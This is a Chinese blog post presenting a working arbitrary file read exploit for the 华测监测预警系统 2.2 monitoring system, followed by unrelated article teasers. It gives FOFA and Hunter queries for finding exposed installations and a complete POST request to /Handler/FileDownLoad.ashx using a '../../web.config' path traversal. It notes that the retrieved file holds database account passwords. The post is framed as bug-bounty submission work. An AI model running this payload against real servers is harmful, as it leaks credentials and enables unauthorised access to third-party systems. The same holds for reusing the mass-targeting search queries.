当前位置： 首页 > news >正文

华测监测预警系统 2.2---任意文件读取漏洞

news 2025/7/10 8:40:51

目录

1. 资产搜集

2. 漏洞复现

3. 实战总结

1. 资产搜集

直接上fofa 和 hunter
个人推荐hunter可以看到icp备案公司直接提交盒子就行了

FOFA语法 app=”华测监测预警系统2.2”

Hunter语法 web.body=”华测监测预警系统2.2”

图片

2. 漏洞复现

这里手动复现的，目录是/Handler/FileDownLoad.ashx
通过hackerbar 可以修改POST传参，或者利用BP构造请求包。

 

  1.  
    POST /Handler/FileDownLoad.ashx HTTP/1.1
     
  2.  
    Host: ip:port
     
  3.  
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
     
  4.  
    Accept-Encoding: gzip, deflate
     
  5.  
    Accept: */*
     
  6.  
    Connection: close
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    Content-Length: 36
     
  9.  
     
  10.  
    filename=1&filepath=../../web.config
     
 

这里的filename随便传参，只是一个文件名字。
 filepath是文件路径，这里访问后会直接下载文件到本地。
 

 

图片
 

文件里包含了数据库的账号密码
 

3. 实战总结
 

最后直接用hunter找到有备案信息的公司，直接提交 盒子成功！！！
 

图片
 

 

图片
 

                                                            没看够~？欢迎关注扫一扫！
 















相关文章：
















华测监测预警系统 2.2---任意文件读取漏洞




目录 1. 资产搜集 
2. 漏洞复现 
3. 实战总结 1. 资产搜集 
直接上fofa 和 hunter 个人推荐hunter可以看到icp备案公司直接提交盒子就行了 
FOFA语法 app”华测监测预警系统2.2” 
Hunter语法 web.body”华测监测预警系统2.2” 2. 漏洞复现 
这里手动复现的，目录是/…...






编程日记
2023/10/19 18:03:18



















新版多功能去水印工具微信小程序源码下载+带流量主功能




新版多功能去水印工具微信小程序源码下载，带流量主功能。自带去水印接口的多功能小程序，支持各大平台短视频去水印。 支持保存封面、图集、标题等等；支持本地图片去水印；支持图片拼接；支持九宫格切图；支持修…...






编程日记
2023/10/19 18:01:14



















文章必备| 叶绿体基因组高级分析内容汇总




叶绿体普遍存在于植物体中，叶绿体基因组是一个典型的双链环状DNA分子，一个植物当中含有多个叶绿体，一个叶绿体中含有12个cpDNA分子。 
常见的植物叶绿体基因组大小一般在150-160 kb左右，藻类会略小一些，在80-100 kb左右…...






编程日记
2023/10/19 18:00:13



















阿里实习JAVA后端面经总结




暑期实习面试阿里Java后端岗位的一面的面经。 
主要拷打了项目+Java 集合+Java并发+网络+mysql，一场面试大概问了 20 个题目，问的还是比较基础，不算太难。 
问题记录 
简历上有两个项目，选一个你比较熟悉的介绍 
（略） 
项目用到了哪个线程实现类？ 
用了ScheduledThreadP…...






编程日记
2023/10/19 17:59:13



















利用 NLP 超能力：一步步介绍Hugging Face微调教程




导入必要的库 
导入必要的库类似于为特定编程和数据分析活动构建工具包。这些库通常是预先编写的代码集合，提供广泛的功能和工具，有助于加快开发速度。开发人员和数据科学家可以通过导入适当的库来访问新功能、提高生产力并使用现有解决方案。 
import pandas as pd
import n…...






编程日记
2023/10/19 17:58:11



















凝聚技术力量 共建测试生态 ——集成电路测试技术交流日成功举办




10月18日下午，凝聚技术力量，共建测试生态 ——集成电路测试技术交流会在上海成功举办。来自全国各地知名专家学者、技术大咖及企业代表齐聚一堂，共同探讨封装测试技术的发展方向，共话产业未来，共促产业发展。 本次活动…...






编程日记
2023/10/19 17:57:10



















机器学习-ROC曲线：技术解析与实战应用




目录 一、引言ROC曲线简介 二、ROC曲线的历史背景二战雷达信号检测在医学和机器学习中的应用横跨多个领域的普及 三、数学基础True Positive Rate（TPR）与False Positive Rate（FPR）True Positive Rate（TPR）F…...






编程日记
2023/10/19 17:56:09



















macos平台好用的FTP客户端 Transmit 5最新中文




Transmit 5是一款Mac平台上的FTP(文件传输协议)客户端软件，它可以让用户方便地在不同的计算机之间传输文件，例如从本地计算机上传或下载文件到远程服务器。以下是Transmit 5的一些主要功能和特点： 
用户友好的界面：Transmit 5具有…...






编程日记
2023/10/19 17:55:08



















用JavaScript输出0-9的两种方法、以及setTimeout的三个参数的意义




方法一：  
for (let i  0; i < 10; i) {setTimeout(() > {console.log(i);}, 1000)
} 
方法二&#xff1a;利用 setTimeout 函数的第三个参数&#xff0c;会作为回调函数的第一个参数传入 
for (var i  0; i < 10; i) {setTimeout(i > {console.log(i);…...






编程日记
2023/10/19 17:53:07



















酷鸟云近期主要新功能合集




近期&#xff0c;根据用户需求&#xff0c;酷鸟云上线了一系列新功能&#xff0c;让大家在使用过程中&#xff0c;更加灵活和高效。 1、仿真指纹功能优化 
酷鸟云内置的专业防关联浏览器的仿真指纹功能&#xff0c;可以解决注册谷歌账号/谷歌邮箱&#xff08;Gmail&#xff09;…...






编程日记
2023/10/19 17:52:03



















【大数据开发技术】实验06-SequenceFile、元数据操作与MapReduce单词计数




文章目录 SequenceFile、元数据操作与MapReduce单词计数一、实验目标二、实验要求三、实验内容四、实验步骤附&#xff1a;系列文章 SequenceFile、元数据操作与MapReduce单词计数 
一、实验目标 
熟练掌握hadoop操作指令及HDFS命令行接口掌握HDFS SequenceFile读写操作掌握Map…...






编程日记
2023/10/19 17:51:02



















【C语言】输入一个正整数，判断其是否为素数




1、素数又叫质数。素数&#xff0c;指的是“大于1的整数中&#xff0c;只能被1和这个数本身整除的数”。 
2、素数也可以被等价表述成&#xff1a;“在正整数范围内&#xff0c;大于1并且只有1和自身两个约数的数”。 #include<stdio.h>int main() {int i,m;printf("…...






编程日记
2023/10/19 17:50:01



















2023年Q3季度国内手机大盘销额下滑2%，TOP品牌销售数据分析




根据Canalys机构发布的最新报告&#xff0c;2023年第三季度&#xff0c;全球智能手机市场出货量仅下跌1%&#xff0c;可以认为目前全球手机市场的下滑势头有所减缓。而国内线上市场的表现也类似。 根据鲸参谋数据显示&#xff0c;今年Q3京东平台手机累计销量约1100万件&#xf…...






编程日记
2023/10/19 17:49:00



















使用按钮从 SAP 系统内打开 Excel 文件




了解如何通过 SAP 屏幕上创建的按钮打开所需的 Excel 文件。为了演示这一点&#xff0c;将指导您完成以下步骤。 
使用 del 命令删除 SAP 上不必要的元素添加一个按钮&#xff0c;单击后打开弹出窗口创建一个函数来选择 excel 文件创建打开所需 excel 文件的函数 
定制 
登录 S…...






编程日记
2023/10/19 17:47:58



















人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络，技术创新点介绍




大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络&#xff0c;技术创新点介绍&#xff0c;随着人工智能和深度学习技术的飞速发展&#xff0c;文本到视频生成已经成为计算机视觉领域中一个重…...






编程日记
2023/10/19 17:46:57



















C/C++面试常见问题——指针和引用的区别




首先想要理解指针和引用的区别&#xff0c;我们要明确什么是指针&#xff0c;什么是引用 
一&#xff0c;指针和引用的基本概念及特性 
指针是一个特殊变量&#xff0c;其中存储着所指向变量的地址 
指针主要有以下特性&#xff1a; 
1. 在使用时需要*解引用 
2. sizeof(指针)的…...






编程日记
2023/10/19 17:45:56



















探索DeFi世界，MixGPT引领智能金融新时代




随着区块链技术的迅猛发展&#xff0c;DeFi&#xff08;去中心化金融&#xff09;正成为金融领域的新宠。在这个充满活力的领域里&#xff0c;MixTrust站在创新的前沿&#xff0c;推出了一款引领智能金融新时代的核心技术——MixGPT。 MixGPT&#xff1a;引领智能金融体验的大型…...






编程日记
2023/10/19 17:44:55



















留学教育咨询机构如何通过软文强势突围




近年来留学市场逐渐回暖&#xff0c;但是行业竞争也更加激烈&#xff0c;留学教育咨询机构想要在激烈的市场竞争中强势突围&#xff0c;除了优秀的职业素养&#xff0c;专业的服务态度外&#xff0c;还需要具备品牌形象打造和推广的能力&#xff0c;也有不少留学机构找盒子进行…...






编程日记
2023/10/19 17:43:52



















苹果平板可以用别的电容笔吗？电容笔和Apple pencil区别




和苹果原装的Pencil相比&#xff0c;这种平替的电容笔并没具备重力压感&#xff0c;只有一种倾斜的压感功能。如果你不经常用来作画&#xff0c;一支普通的电容笔就足够了。不管是用来记笔记&#xff0c;还是用来解决一些数学问题&#xff0c;都能用得上。再说了&#xff0c;即…...






编程日记
2023/10/19 17:42:51



















【Matlab笔记_16】yyyy-MM-dd HH:mm:ss的datetime格式拆分为yyyy-MM-dd日期部分和HH:mm:ss时间部分




实例&#xff1a;需要拆分的时间为’2002-04-17 11:00:00’ 
1拆分出 ‘2002-04-17’ 
% 假设datetime对象是 dt&#xff0c;例如&#xff1a;
dt  datetime(2002-04-17 11:00:00);% 使用dateshift提取日期部分
dateOnly  dateshift(dt, start, day);% 显示提取的日期部分
disp…...






编程日记
2023/10/19 17:41:50





















CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型




CVPR 2025 | MIMO&#xff1a;支持视觉指代和像素对齐的医学视觉语言模型 
论文信息 
标题&#xff1a;MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者&#xff1a;Yanyuan Chen, Dexuan Xu, Yu Hu…...






编程新知
2025/7/9 5:50:30



















SciencePlots——绘制论文中的图片




文章目录 安装一、风格二、1 资源 安装 
# 安装最新版
pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版
pip install SciencePlots一、风格 
简单好用的深度学习论文绘图专用工具包–Science Plot 二、 
1 资源 
论文绘图神器来了&#xff1a;一行…...






编程新知
2025/6/17 19:00:28



















以下是对华为 HarmonyOS NETX 5属性动画（ArkTS）文档的结构化整理，通过层级标题、表格和代码块提升可读性：




一、属性动画概述NETX 
作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...






编程新知
2025/7/8 13:44:32



















Linux简单的操作




ls 
ls                  查看当前目录 
ll                   查看详细内容 
ls -a              查看所有的内容 
ls --help        查看方法文档 pwd 
pwd        查看当前路径 cd 
cd        转路径 
cd ..                 转上一级路径 
cd 名                转换路径 
…...






编程新知
2025/7/9 0:01:53



















【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】




1. BluetoothProperties介绍 
libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop 
BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件&#xff08;System Property Definition File&#xff09;&#xff0c;用于声明和管理 Bluetooth 模块相…...






编程新知
2025/7/9 6:14:15



















零基础设计模式——行为型模式 - 责任链模式




第四部分&#xff1a;行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 
欢迎来到行为型模式的学习&#xff01;行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 
核心思想&#xff1a;使多个对象都有机会处…...






编程新知
2025/7/8 4:49:19



















在WSL2的Ubuntu镜像中安装Docker




Docker官网链接: 
https://docs.docker.com/engine/install/ubuntu/ 
1、运行以下命令卸载所有冲突的软件包&#xff1a; 
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...






编程新知
2025/7/10 2:41:40



















Spring数据访问模块设计




前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 
1、痛点在哪 应用离不开数据&#xff08;数据库、No…...






编程新知
2025/7/9 11:57:19



















服务器--宝塔命令




一、宝塔面板安装命令 
⚠️ 必须使用 root 用户 或 sudo 权限执行&#xff01; 
sudo su - 
1. CentOS 系统&#xff1a; 
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...






编程新知
2025/6/21 14:58:57



















CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)




漏洞概览 
漏洞名称&#xff1a;Apache Flink REST API 任意文件读取漏洞CVE编号&#xff1a;CVE-2020-17519CVSS评分&#xff1a;7.5影响版本&#xff1a;Apache Flink 1.11.0、1.11.1、1.11.2修复版本&#xff1a;≥ 1.11.3 或 ≥ 1.12.0漏洞类型&#xff1a;路径遍历&#x…...






编程新知
2025/7/9 22:04:26